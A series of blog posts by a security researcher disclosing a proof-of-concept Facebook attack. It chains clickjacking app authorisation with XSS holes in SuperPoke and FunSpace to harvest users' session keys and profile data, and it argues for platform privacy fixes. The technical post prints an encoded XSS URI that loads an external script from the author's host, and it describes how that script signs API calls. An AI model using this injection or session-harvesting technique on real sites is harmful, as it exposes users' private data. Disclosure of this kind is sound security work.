Another Top Facebook Application Falls to Hacking

I can’t emphasize this enough: As the Facebook Platform is currently setup, nearly any XSS vulnerability in an application allows my hack from last month (I may need a name for this thing soon) to succeed.

Tonight, after two hours of poking around various applications, I once again successfully used my hack to access profile information via an XSS hole in an FBML application.  This particular application has over 10 million monthly active users.  It also luckily prevents a clickjacking install, but with such wide reach, a relaunch of the hack would affect many users anyway.

If any technology news site wants a great story on the security of the Facebook Platform, please get in touch – I simply want to get the word out on this issue to raise user awareness.

Instapaper Facebook Digg Twitter FriendFeed Delicious Yahoo Bookmarks Google Bookmarks

Facebook Hack via FBML Application

I’d previously stated that I was confident I could relaunch my Facebook hack using an FBML application, but that I hadn’t worked out all the details.  Today, I successfully used an XSS hole in an FBML application to access profile information, just as I had done with canvas applications before.  I did so using an XSS vulnerability publicly published almost four months ago.

The particular application used this time always forwards new installs to the same URI, preventing me from using a clickjacking install to fully relaunch the attack page (though an added refresh may do the trick).  But it definitely proves the point that nearly any application with an XSS hole is vulnerable to this type of attack, including FBML applications.

For those who did not get to experience the hack when it was live, I’m including a screenshot of the results page for a fake Facebook profile.

Results page from Facebook attack under a fake profile.

Results page from Facebook attack under a fake profile.

Instapaper Facebook Digg Twitter FriendFeed Delicious Yahoo Bookmarks Google Bookmarks

A Few Clarifications

Why bother highlighting privacy problems on Facebook?  Isn’t privacy just an illusion anyway? With the way Facebook currently operates, users should probably assume that advertisers, developers, and hackers can access all of the information they post. However, most users are not aware of this, and fully believe in the privacy controls Facebook provides. Facebook needs to address privacy problems to match user confidence or better educate users on how easily others can access their data.

Hasn’t Facebook patched the holes that allow access to profile data? Those behind FBHive.com should be commended for the privacy hole they uncovered, which Facebook did patch. However, the privacy problems mentioned here remain unpatched. SuperPoke has patched the specific hole used in my demonstration hack, but other applications are still vulnerable to an identical attack.

Aren’t you simply highlighting problems in Facebook applications? Isn’t Facebook itself more secure? Mark it down: A vulnerability in a Facebook application is a vulnerability in Facebook itself. Since all applications are granted access to a wealth of user information and can perform many actions that directly affect a user, application holes can be exploited to the point of differing little from actually hacking a user’s profile.

Are these hacks really that serious if they require a user to click a special link? Hacks that do not require user intervention are certainly more powerful. However, many security researchers will affirm that getting a user to click on a link is not that difficult. Also, many of these hacks can work invisibly on what appears to be an otherwise harmless page. Finally, applications have many viral channels available to them, and these can be exploited by an application attack or a rogue application to compromise more users.

Doesn’t Facebook prevent advertisers from accessing personally identifiable information? For advertisements served by Facebook itself, the site does prevent such access. Unfortunately, several advertising networks for Facebook applications, such as SocialCash, can and do access personally identifiable information for targeting their ads. While this appears to be a clear TOS violation, Facebook has not shown interest in addressing this particular problem.  Two ad networks were shut down recently, but apparently for deceptive ads and not for the user information they accessed.

Can Facebook enable third-party applications at all and still enforce user privacy? Security researchers may disagree on this particular question, but I do think it clear that Facebook could do far more to protect user privacy. The Facebook Platform currently ignores important security techniques that have led to problems such as my recent application hacks. For example, allowing every application full access to user information contributes to making the hacks so serious.

Instapaper Facebook Digg Twitter FriendFeed Delicious Yahoo Bookmarks Google Bookmarks

Still Don’t Think This is Serious?

Remember that Facebook hack I posted a few days ago that exploited an XSS hole in SuperPoke to harvest users’ profile information? I mentioned in my follow-up posts that the hack was not specific to SuperPoke and could be adapted to an XSS hole in another application.

Such as FunSpace.

This application, formerly known as FunWall, has over 11.4 million monthly active users, and, according to a recent review by Inside Facebook, is the most active application on Facebook in terms of daily active users.  That means that an attacker has a high probability of success without resorting to a clickjacking authorization.  FunSpace is also a Facebook Verified Application.

And it does, in fact, have an XSS hole.  How long did it take me to find the hole?  Less than an hour.

All of this means that right this second, if I so desired, I could replace one file at theharmonyguy.com and previous links to the attack page would once again work.  Visiting the attack page would again forward you to a page with nearly all of your profile data displayed.  I’ve already put together the updated version of the attack.

I say this to illustrate that the four privacy problems I originally posted a few days ago are still very much problems, and that this type of attack can continue as long as Facebook does not respond to them.  I originally exploited SuperPoke, now I can exploit FunSpace, tomorrow I can possibly exploit another popular application.  But playing whack-a-mole with application bugs will not solve anything.

Finally, I’d like to hear your feedback on whether I should update the attack page and make it live again.  It’s not one easily illustrated by screenshots, since the results page is full of personal data.

Update: Considering the success of this hack, I’ve started going through AllFacebook’s list of top Facebook applications by monthly active users and hunting for XSS holes in each.  I quickly found a means of FBML injection in Causes, which is second on the leaderboard and another Facebook Verified Application.  Launching an FBML-based attack is proving to be more complicated, but still appears to be possible.  In fact, even embedding external scripts with access to the user’s session secret is not as difficult as you might think.

Update 2: Decided to check Bumper Sticker (nearly 5 million MAU) about 10 minutes ago, and quickly found an FBML injection hole.

Update 3 (6/26): Earlier today I posted the new attack code, and within about three hours, FunSpace patched the hole.  I haven’t found another XSS hole in an HTML-based Facebook application, and haven’t yet worked out the details of an FBML-based attack, but I’m confident the hack could still be relaunched. People need to understand that nearly any application XSS vulnerability will enable this type of attack.

Instapaper Facebook Digg Twitter FriendFeed Delicious Yahoo Bookmarks Google Bookmarks

Facebook Attack Technical Details

One could argue that this was more of a SuperPoke attack, but I think it demonstrates that in many cases, hacking a Facebook application is little different from hacking Facebook.

I’ve already posted a general outline of how the attack worked, but here I’ll follow that up with more technical specifics.

The attack page, http://theharmonyguy.com/facebook-privacy/index.php, appeared to be a generic error page.  The page actually loaded an invisible iframe, following a standard clickjacking model.  As mentioned before, the clickjacking was only needed in case a user had not installed SuperPoke.  The iframe redirected to a Facebook authorization page for SuperPoke, with the post-redirect URI containing the actual XSS attack.  If a user had not authorized SuperPoke, nothing would appear to happen after the fake error page loaded, leading them to click the fake redirect link.  The supposed link was positioned over the “Allow Access” button on the Facebook page.  Once clicked, SuperPoke became authorized and the XSS was executed.  If a user already had SuperPoke on their profile, the XSS attack executed right away without any user intervention.

The heart of the attack came in the XSS exploit.  Previously, SuperPoke would load a page containing an error message if a user tried to perform a disallowed action.  The error message was part of the query string for the page, and as I noticed about a year and a half ago, this message was simply added to the page without any escaping.  Originally this allowed for FBML injection, but SuperPoke has since become an HTML-based application that is loaded in an iframe.  Thus one could replace the error message with arbitrary HTML, including script tags.  The specific URI loaded by my attack was this:

http://apps.facebook.com/superpokey/sp_main/?CXNID=1000005.6NXC&fb_force_mode=iframe&error=%3Cscript+src%3D%22http%3A%2F%2Ftheharmonyguy.com%2Fi.js%22%3E%3C%2Fscript%3E

As you can see, the “error message” in this URI is actually an encoded script tag which loads a JavaScript file stored on theharmonyguy.com.  This script is then executed within the context of the application page.

Since the application page is loaded by Facebook in an iframe, Facebook automatically appends a query string containing session information to the URI of the page.  The script simply checked the location variable to capture this information.  It then generated a list of parameters for a Facebook API call to fql.query with a pre-written FQL query to retrieve user profile data.  The session variables include fb_sig_ss, and by setting ss=1 in the API call, one can generate the MD5 signature needed to make a successful request.  Publicly available JavaScript code was used to create the signature.

Originally, the script made the API call and forwarded the end user to a page (http://theharmonyguy.com/facebook-privacy/results.html) which displayed the profile data.  However, I wanted to be very careful about how the profile information was transferred, and including the data in a URI made it too long to work smoothly.  (Internet Explorer does not always handle extremely long addresses well.)  In the end, I elected to instead transfer the URI for a JavaScript API call to the results page and let it load the data.

Hence, the first script encoded the URI using Base64 and attached that to the address of the forwarded page.  (Thus my warning not to share the URI of the results page, though even if someone harvested the API call, logging out of Facebook would destroy the session variables.)  The results page again checked the URI, decoded the appended data, and used a standard cross-domain JSON technique to make the API request.  The page then loaded the results below my explanatory message for the user to see.  Since the data was loaded and displayed at runtime, I never actually stored anyone’s profile information.  Note that this landing page was hosted on theharmonyguy.com, not slide.com, apps.facebook.com, or facebook.com.

The pages are still online, though a bit modified since the original attack no longer works, thanks to SuperPoke changing the behavior of error messages on their pages.  The source code is obfuscated, but clean code is available upon request (theharmonyguy via gmail.com).

This attack was merely proof-of-concept and did not take full advantage of every possibility.  Notably, the XSS attack could have executed any API call available with a user session key, which includes just about any FQL query.  This could have also allowed the attack to spread virally, or clickjacking could be employed to send Facebook messages on behalf of a user.

Note, however, that if a user already had SuperPoke authorized, no clickjacking was necessary to execute the payload – the user simply had to load the initial page.  And since SuperPoke is a very popular application, an attacker would have a high probability of this happening.  To put this in perspective, I could have been harnessing the profile data of every SuperPoke user who visited my blog recently simply by embedding an iframe in the HTML source.

As I mentioned, the API call could have been made and the profile data stored on a third-party server on initial execution.  My specific attack forwarded the user to the results page as a courtesy to let them know what could have just happened.  Also, if an API request was made in the initial script, Facebook would see the referer as the exploited application’s URI.  The REST server would have no way to distinguish between a legitimate request and one produced by an attack.

By the way, this is another reason why I get concerned about application advertising networks, such as SocialCash, using external script access to load targeting data.  Facebook can talk about monitoring privacy, but the requests made from these ad networks are also indistinguishable from requests made by an application itself.

While SuperPoke has patched the vulnerability used here, the fact remains that any other Facebook application which has an XSS hole such as this one could be exploited as well.  In fact, my code in no way depends on SuperPoke, and could easily be embedded in another application with the same results.

Also, to the best of my knowledge, Facebook has not taken any measures to avoid clickjacking attacks.  People can argue about how much social engineering is involved to get users to click on malicious links, but I think any security researcher can tell you such matters are not as difficult as they may sound, particularly when viral channels are available.

Again, this particular attack only scratched the surface of what could be possible in the future.  For instance, this attack used clickjacking to get users to install a recreational application, but it could have easily authorized a rogue application.  And while this particular attack no longer works, the larger privacy problems that made it possible remain until Facebook takes action.

Update (6/25): Newer versions of the hack utilize applications besides SuperPoke, but the technique remains the same.

Instapaper Facebook Digg Reddit Twitter FriendFeed Delicious Yahoo Bookmarks Google Bookmarks

Initial Details on Facebook Attack

It’s now been 24 hours since I posted an attack illustrating the four Facebook Platform privacy issues I mentioned previously, and the attack stopped working some time in the last 3 hours due to Slide patching a hole in SuperPoke, the specific application exploited.  In this post I’ll give the basics of how the attack worked without actually getting into code details.

When you accessed the attack page, you’d see a 301 error message.  This error page is entirely fake, and much of the action occurs when it’s loaded.  In fact, Facebook users who have already installed the recreational application exploited in this particular attack (an application that currently has over 2.5 million monthly active users) were compromised before ever leaving the error page.  The second page, which actually displays profile info, is basically a courtesy to let the user know what could have just happened invisibly.

Ironically, IE8 is the only browser that foiled the attack by default, thanks to its XSS filter.  (That does not mean I recommend people use IE8, though.)  Disabling third-party cookies also stopped the attack, and of course one must be logged into Facebook for it to work.  I believe the Firefox add-on No-Script also prevents the attack.

The initial fake error page invisibly loaded a Facebook page for the vulnerable application.  If a user has not authorized the application, the supposed redirect link, also fake, would unknowingly authorize it (Single-Click Authorization).  Once the application was authorized, the attack page exploited a cross-site scripting hole (Secondary Code Vulnerabilities) to execute a specially crafted script (External Script Access).  This script then gathered the information necessary to request all of a user’s profile data (One Access Level).

Remember that the attack served merely to illustrate privacy problems and certainly does not cover the full scope of what’s possible.  I have already been brainstorming and testing ways a similar attack could utilize viral channels, such as notifications and messages, to create a worm that spreads itself.

By the way, the cross-site scripting vulnerability employed was in a Facebook Verified Application.  It was first reported about a year and a half ago, then its current implications were published 11 days ago.  The possibility of users unknowingly authorizing an application was published four months ago.  The use of external scripts to harness user data was reported over three weeks ago.  And the problem of applications having full access to user data was raised about a year and a half ago.

As I mentioned, SuperPoke has now been patched their specific problem.  However, the larger privacy issues I raised will remain until Facebook takes further action.

Instapaper Facebook Digg Reddit Twitter FriendFeed Delicious Yahoo Bookmarks Google Bookmarks

Illustrating Facebook Privacy Problems

In my last post, I outlined four privacy problems with the current Facebook Platform.  To illustrate how serious I think these problems are, I’ve put together some more details on how they could be exploited.  I doubt much will change unless Facebook users get worked up about it, so perhaps this will help get people’s attention:

http://theharmonyguy.com/facebook-privacy/

If you can’t get this to work, try logging into Facebook first.  Also, a few browser technologies may get in the way.

And if you find all this disconcerting, please spread the link above to your friends via e-mail, Facebook, Twitter () and so on.

Technical details to follow.

Update: As people are noticing, users who did not previously have SuperPoke FunSpace the currently exploited application installed will likely have it installed after this. You can easily remove an application by accessing the Applications menu in the lower left corner of a Facebook page, choosing “Edit Applications,” and clicking the “x” on the row for a particular application.

Instapaper Facebook Digg Reddit Twitter FriendFeed Delicious Yahoo Bookmarks Google Bookmarks

Facebook Platform Privacy Issues

For the record, Facebook has some of the most flexible and robust privacy controls I’ve seen in any online social networking service. I never want to take for granted that Facebook engineers have built remarkable privacy controls into their product, and for that they should be rightly commended.

But unfortunately, since launching the Facebook Platform, the company has unwittingly introduced several privacy problems inherent in the platform’s structure. These issues are not without solutions, yet so far Facebook’s management does not appear to view them as serious or worth the time to fix. In this article, I intend to summarize four specific problems that I believe deserve a second look.

Problem #1: One Access Level

If an application retrieves user data, a user must give it full access. A review of the top 150 Facebook applications in October 2007 found that nearly 91% had access to unnecessary private data. Given the recreational nature of many top applications today, this statistic has probably not changed drastically. Users have become accustomed to authorizing even simple applications and do not know what data will be used prior to authorizing an application. Rogue applications can thus harness a wealth of user data, and even legitimate applications can misuse data or allow potential misuse. Solutions include privacy-by-proxy for FBML applications and offering tiers of data access. With the latter, users could be prompted more specifically for authorizing data beyond basic information.

Problem #2: Single-Click Authorization

Not only do users allow applications access to a wealth of data on authorization, this action only requires one click on a button when an application page is first accessed. This opens the door to clickjacking attacks, similar to attacks launched against Twitter users earlier this year. A user could click a seemingly innocent link that authorizes a rogue application. Solutions include code for detecting possible clickjacking, such as framebusting, and requiring additional interaction, such as a prompt.

Problem #3: External Script Access

Facebook has taken admirable steps to limit code within an application that originates outside the application’s hosted domain. However, external JavaScript can not only access data within the application but can also make requests for additional user data. As an example, one major application ad program requires developers to add an HTML file to their application’s domain and include the file as an inline frame within the application. This file then calls external JavaScript that makes API calls to Facebook using the session information passed from the application to the frame. This problem is admittedly more difficult to solve, but perhaps better educating developers and advertisers on safer code techniques would be a starting point.

Problem #4: Secondary Code Vulnerabilities

Since every application has full access to user data, any code vulnerability in an application becomes a security problem for Facebook itself. For instance, a recently uncovered cross-site scripting vulnerability in an application allows a malicious hacker to access a user’s profile data if they simply access a specially crafted URI. By giving applications access to user data, Facebook and its users trust third-party developers to build applications secure enough for handling personal information. Unfortunately, many developers overlook basic security measures. Once again, this issue can be thorny, but solving it starts with educating developers. Also, offering tiers of data access for an application could limit the impact of vulnerabilities in applications that only require basic information.

Conclusion

I personally have not witnessed any major concern or forthcoming solutions to these problems from Facebook, despite security researchers noting them for some time. I have already seen these flaws used in previous attacks on Facebook, and I can foresee them being used in future attacks of significant severity.

Addressing these issues, however, begins with awareness. Users need to better understand the ramifications of platform use and need to learn better habits for using applications. Developers need to better understand proper coding practices and help protect user data. Advertisers need to avoid using personally identifiable information and clarify how they target users.

Most importantly, though, I believe that Facebook needs to adjust their platform to continue their track record of respecting user privacy. But it appears this will only happen if Facebook users realize the severity of the situation and ask for a change.

Instapaper Facebook Digg Reddit Twitter FriendFeed Delicious Yahoo Bookmarks Google Bookmarks

1 12 13 14 15